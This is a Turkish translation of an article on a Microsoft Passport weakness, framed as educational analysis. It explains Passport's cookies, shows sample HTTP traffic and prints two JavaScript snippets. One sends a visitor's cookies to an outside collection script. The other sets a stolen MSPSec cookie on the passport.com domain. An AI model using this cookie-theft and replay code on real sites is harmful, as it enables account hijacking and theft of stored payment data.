URL: http://www.olympos.org/article/articleprint/179/-1/10/passport_hacking |
Passport Hacking |
Bu yazı Microsoft Passport`taki bir güvenlik açığını anlatıyor. Yazıda bir kullanıcının Passport hesabını ele geçirme hakkında detaylı bilgi ve örnek kodlar verilecektir.
Orjinali: Chris Shiflett
Fakat tüm bilgiler eğitim amaçlı kullanım içindir. Amaç web üzerindeki güvenliğin detaylı bir analizini yapmak ve bazı yanlış anlamaları ortaya çıkarmak. Şu anki Passport mekanızmasının kullanımında tavsiyelerim ve güvenliğini artırma yolları ile
yazımı bitireceğim.
Altyapı
Microsoft Passport kullanıcıların Internet üzerinde sunulan ve kayıt gerektiren servislere daha kolay erişimi için yaratılan bir mekanizmadır. Amaç kullanıcıların bir Passport için kayıt olmaları ve çeşitli sitelerdeki servisleri, her birinde kayıt olmaya
gerek duymadan (harcanan vakit ve şifrelerin bakımı her zaman sorun olmuşdur) kullanabilmeleridir.
Passport`un ek bir özelliği de Wallet`dır (cüzdan). Bir Wallet`e sahip olduğunuzda kredi kartı bilgilerini ve ek kişisel bilgileri depolayabilirsiniz. Bu katılımcı sitelerde satın alma işlemlerinde kullanılabilir.
Çerezler (Cookies)
Passport basitçe kullanıcının bilgisayarında depolanan cookie koleksiyonudur. Bu cookie`ler kullanıcıyı Passport kulanan bir siteye tanıtır. Passport mekanizmasında sunucudan sunucya haberleşme yoktur, tüm haberleşme kullanıcıya doğrudur.
Bu işlem için ayarlanan çeşitli cookie`ler aşağıdaki gibidir:
|
GET / HTTP/1.1 Host: www.k2labs.org User-Agent: Mozilla/5.0 Accept: text/xml, image/png, image/jpeg, image/gif, */* Accept-Language: en-us Accept-Encoding: gzip, deflate, compress, identify Connection: keep-alive |
HTTP/1.1 200 OK Date: Wed, 01 Aug 2001 22:00:00 GMT Server: Protoscope 0.0.1 Connection: close Set-Cookie: k2labs=chris; domain=.k2labs.org; Path=/; Content-Length: 38 Content-Type: text/html <html><h1>Protoscope 0.0.1</h1></html> |
<script language='javascript'> document.write(`<a href='http://www.k2labs.org/store_cookies.php?` + document.cookie + `'>Our Site has Moved</a>`); </script> |
<script language='javascript'> this.document.cookie='MSPSec=<?echo $mspsec;?>; domain=.passport.com; path=/ppsecure;expires=Wed, 30-Dec-2037 08:00:00 GMT; secure;'; </script> |